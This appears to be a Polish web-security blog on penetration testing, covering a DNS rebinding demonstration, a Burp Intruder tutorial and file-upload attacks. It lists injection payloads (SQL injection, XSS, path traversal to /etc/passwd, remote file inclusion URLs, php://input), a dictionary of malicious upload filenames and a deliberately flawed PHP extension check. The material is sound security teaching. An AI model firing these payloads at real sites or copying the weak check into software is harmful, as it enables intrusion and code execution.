Zapraszam na spotkanie polskiego oddziału OWASP w najbliższy czwartek w Krakowie. Szczegóły można znaleźć pod adresem https://www.owasp.org/index.php/Poland
http://lukasz.pilorz.net/dnsr/
Pod powyższym adresem można przetestować atak DNS Rebinding na serwer WWW w sieci lokalnej ofiary. W rzeczywistym ataku email nie jest konieczny – wystarczy że ofiara odwiedzi (w odstępie czasu większym niż 30 minut) dwie strony, które przynajmniej częściowo są kontrolowane przez atakującego (np. zawierają iframe z wykupioną przez niego reklamą).
Aktualizacja 27 listopada: skrypt został wyłączony, w razie zainteresowania demonstracją proszę o kontakt.
Jeżeli
- skontaktuj się ze mną.
A tymczasem, na rozgrzewkę – pierwszej osobie, która poprawnie opisze, w jaki sposób poniższy skrypt broni się przed XSS, i zaprezentuje działające demo (IE7, FF3) w jaki sposób można to zabezpieczenie obejść, przesyłam książkę (do uzgodnienia – ostatnio “Silence on the Wire”):
http://lukasz.pilorz.net/testy/hackme2/
Aktualizacja: irk4z przesłał już rozwiązanie, a kod skryptu wrzuciłem na http://lukasz.pilorz.net/testy/hackme2/index.phps
DNS Rebinding polega na podmianie adresu IP domeny pomiędzy kolejnymi żądaniami skierowanymi do niej. W ten sposób można uzyskać dostęp na przykład do zasobów sieci lokalnej, w której znajduje się ofiara. W połączeniu z javascriptowym skanowaniem portów i fingerprintingiem aplikacji pozwala stworzyć ciekawe scenariusze ataku. Przykład:
Oczywiście skrypt może posiadać sygnatury dla większej ilości aplikacji niż tylko phpMyAdmin, i w ten sposób zwiększać szanse powodzenia ataku. Poza CSRF, skaner mógłby też po prostu wczytywać zawartość niechronionych stron w sieci lokalnej i wysyłać na zewnętrzny serwer (we wcześniejszym wyszukaniu odpowiednich adresów może pomóc Fierce). Inne zastosowanie to ominięcie firewalli i lokalny dostęp na przykład do portu 139.
Powyższy scenariusz bazuje na ataku DNS rebinding z wykorzystaniem LiveConnect – ta metoda została już zablokowana, dlatego mogę opublikować praktyczny przykład:
http://lukasz.pilorz.net/testy/dnsrebinding/scanner.phps – skaner w JS
http://lukasz.pilorz.net/testy/dnsrebinding/phpmyadmin_exec.phps – atak DNS rebinding na phpMyAdmina
Więcej informacji można znaleźć w tekstach na których bazowałem tworząc powyższy skrypt:
Kolejna notka (czwarta część cyklu o testach, dotycząca ataków na mechanizmy logowania i zmiany hasła) pojawi się dopiero w Nowym Roku.
Słowniki wartości testowych, zastosowanie Burp Intruder
Podstawowym i najciekawszym elementem testów bezpieczeństwa serwisów internetowych jest symulowanie praktycznych ataków na aplikację. Podobnie jak w przypadku analizy kodu źródłowego, nie istnieje narzędzie, które potrafiłoby całkowicie wyręczyć w tym zadaniu człowieka, jednak bez przynajmniej częściowej automatyzacji trudno byłoby rzetelnie przeprowadzić ten etap testów. W rzeczywistym ataku wystarcza często jedna luka, na znalezienie której nie obowiązują żadne limity czasowe, podczas gdy celem symulacji jest znalezienie wszystkich (w praktyce: większości) błędów w stosunkowo krótkim czasie.
Automatyzacja testów wymaga przygotowania zestawów wartości reprezentujących poszczególne próby ataków. Słowniki takich wartości są częścią wielu współczesnych skanerów aplikacji webowych, jednak ponieważ skanery nie są w stanie określić kontekstu i znaczenia poszczególnych parametrów oraz analizować rezultatów, często bywają niemal bezużyteczne. Proponuję zamiast tego wykorzystać wiedzę o aplikacji zdobytą w trakcie jej analizy i przygotować osobne słowniki dla poszczególnych typów parametrów. Wymaga to oczywiście znacznie więcej czasu niż uruchomienie skanera, ale myślę że warto.
Przykład słownika i jednocześnie zastosowania narzędzia Burp Intruder będzie oparty o parametr wyboru podstrony serwisu. Metoda określenia jego wartości może przybrać różne formy, między innymi:
W pierwszych czterech przypadkach jest w miarę oczywiste, że wybór podstrony bazuje na wartości pewnej zmiennej, w pozostałych jednak trudno powiedzieć, czy nie zostały wykorzystane reguły mod_rewrite. Typowy skaner “zauważy” i sprawdzi prawdopodobnie tylko trzy pierwsze opcje, często nie mamy też pewności jakiego typu podatności jest faktycznie w stanie wykryć.
Spróbujmy wykorzystać Burp Suite do przeprowadzenia własnego zestawu testów. Ustawiamy cel w zakładce intruder->target, a następnie w intruder->position wybieramy typ ataku “sniper” i wstawiamy żądanie HTTP z identyfikatorem podstrony zastąpionym przez §1§, na przykład:
GET /index.php?id=§1§ HTTP/1.1 Host: example.com
(można też wykorzystać odpowiednie żądanie zapisane w spiderze).
Teraz należy uzupełnić listę wartości, które będą wstrzykiwane w miejsce §1§. Proponuję w intruder->payloads wybrać “preset list” z następującym zestawem (najłatwiej jest zapisać go w pliku):
1 2 3 4 0 -1 1' 1" 1%BF 1%C5%BC 1 OR 1=1 1 OR 1=1/* 1||1=1 1||1=1/* 1test 1test<script> 1test<b> 1test'">test 1test'"test test index index.php index.php%00 ../index ../index.php ../index.php%00 ../../index ../../index.php ../../index.php%00 /etc/passwd /etc/passwd%00 ../../../../../../etc/passwd ../../../../../../etc/passwd%00 http://lukasz.pilorz.net/testy/inc/inc.php http://lukasz.pilorz.net/testy/inc/inc.php%00 http://lukasz.pilorz.net/testy/inc/inc.php? http://lukasz.pilorz.net/testy/inc/inc.html http://lukasz.pilorz.net/testy/inc/inc.txt http://lukasz.pilorz.net/testy/inc/inc php://input
Kilka pierwszych wartości ma na celu sprawdzenie, jak wygląda odpowiedź serwera dla poprawnych lub nieistniejących identyfikatorów, kolejne powinny zweryfikować czy zmienna jest rzutowana na typ liczbowy, a także wykryć ewentualną podatność na SQL injection lub XSS. Druga połowa listy jest przeznaczona dla sytuacji, gdy parametr określa nazwę dołączanego pliku podstrony (ostatnia wartość wymaga dodatkowego testu z kodem PHP w treści żądania POST). Oczywiście powyższy zestaw można modyfikować i uzupełniać własnymi testami (na przykład testy z “1″ na początku powtarzając dla nieistniejącego identyfikatora). Pomocna może być funkcja grep (w zakładce opcji), dzięki której tablica wyników będzie nieco bardziej czytelna.
Po wypełnieniu listy wartości wybieramy w głównym menu pozycję intruder->start, czekamy krótką chwilę i możemy przeglądać wyniki, czyli odpowiedzi serwera na kolejne żądania (dwuklik na pierwszym wierszu w tabeli). Rezultat poszczególnych prób można czasem rozpoznać od razu po rozmiarze odpowiedzi serwera. W przeciwieństwie do testów z użyciem skanera, analiza wyników otrzymanych w Intruderze wymaga przynajmniej ogólnej wiedzy o atakach na aplikacje internetowe.
Dalszy ciąg tego tekstu oraz jego następne części będą zawierać podstawowe informacje o rozpoznawaniu podatności na poszczególne ataki, propozycje słowników dla określonych typów parametrów oraz przykłady luk, które istniały w rzeczywistych aplikacjach internetowych.
Ataki związane z uploadem plików
Typowe zagrożenia:
Zabezpieczenia obejmują zwykle zmianę lub weryfikację nazwy pliku, rozszerzenia (uwaga na pliki z wieloma rozszerzeniami), typu MIME, a rzadziej – zawartości. Innym prostym rozwiązaniem (nie zawsze wystarczającym) jest wykorzystanie dyrektywy ForceType w konfiguracji Apache dla danego katalogu. Przy wyborze metody zabezpieczeń warto współpracować z administratorami serwera, aby uniknąć rozbieżności pomiędzy konfiguracją a zagrożeniami przewidzianymi w aplikacji.
Rozpoznanie podatności sprowadza się najczęściej do sprawdzenia, czy przy odczycie pliku uruchamiany jest kod PHP, lub czy przeglądarka interpretuje zwróconą zawartość jako HTML. Proponowany słownik wstrzykiwanych nazw plików:
test test.test test.jpg test.jpg.php test.php.jpg test.php.php test.php.tst test.php test.PhP test.PhP.tst test.php3 test.php4 test.php5 test.phtml test.shtml test.html test.inc test.cgi ../test.jpg /tmp/test.jpg test/test.jpg test.php%00.jpg test.jpg%00.php test<script>alert(0)</script>.jpg
Listy testowych zawartości plików nie opublikuję w najbliższym czasie, ale w razie uzasadnionej potrzeby jej posiadania zapraszam do kontaktu mailowego (lukasz na pilorz.net).
Luki związane z uploadem są jedną z najprostszych dróg ataku. Można je napotkać w ogromnej ilości niewielkich, amatorskich serwisów, ale czasem także w poważnych projektach. Serwis Secunia zapytany o php upload zwraca ponad 250 wyników, z których znaczna część dotyczy właśnie tego typu błędów.
Prostym przykładem nieprawidłowego zabezpieczenia jest wykorzystanie następującego kodu, który pojawił się na jednym z portali poświęconych programowaniu:
$seg = explode(".", $nazwa_pliku);
if($seg[1] == "jpg") {//OK
//...
Pozwolę sobie przytoczyć również dwa nieco nietypowe przykłady takich luk (pozwalających na wykonanie własnego kodu PHP) pochodzące sprzed kilku tygodni z serwisów DobraOpcja.pl i Jogger.pl. W pierwszym przypadku walidacja typu/rozszerzenia pliku odbywała się wyłącznie we Flashu, po stronie przeglądarki. Zagrożenia wynikające z zastosowania technologii Flash są bardzo podobne (a w przypadku XSS nawet większe) do powszechnie znanych problemów związanych z JavaScriptem. Forma, w jakiej występują pliki SWF, może sprawiać wrażenie utrudnienia przy ataku, ale przechwycenie i modyfikacja żądań HTTP wysyłanych przez Flash jest równie prosta, jak dla XMLHttpRequest w skryptach JavaScript (jedyna różnica: w systemie Windows należy ustawić Burp Proxy dla Internet Explorera, a nie przeglądarki z której korzystamy).
Inna sytuacja miała miejsce w Joggerze, który znany jest z solidnych zabezpieczeń oraz dużej grupy użytkowników interesujących się bezpieczeństwem aplikacji internetowych. Mechanizm uploadu plików w tym serwisie posiadał ograniczenie na dopuszczalne rozszerzenia, a także przewidywał możliwość wstrzyknięcia bajtu zerowego w nazwie, jednak w wyniku prostego błędu programistycznego warunek ten nie był w pełni egzekwowany. W efekcie możliwa była zmiana nazwy pliku na zawierającą bajt zerowy i wstawienie dowolnego rozszerzenia pliku. Nawet najlepszym zdarzają się pomyłki, dlatego istotne jest by kluczowe funkcje były testowane z wykorzystaniem możliwie pełnego słownika.
Ciąg dalszy wkrótce.
Dziękuję Robertowi Wróblowi za uzupełnienie listy nazw plików oraz materiały do tej i kolejnych części tekstu.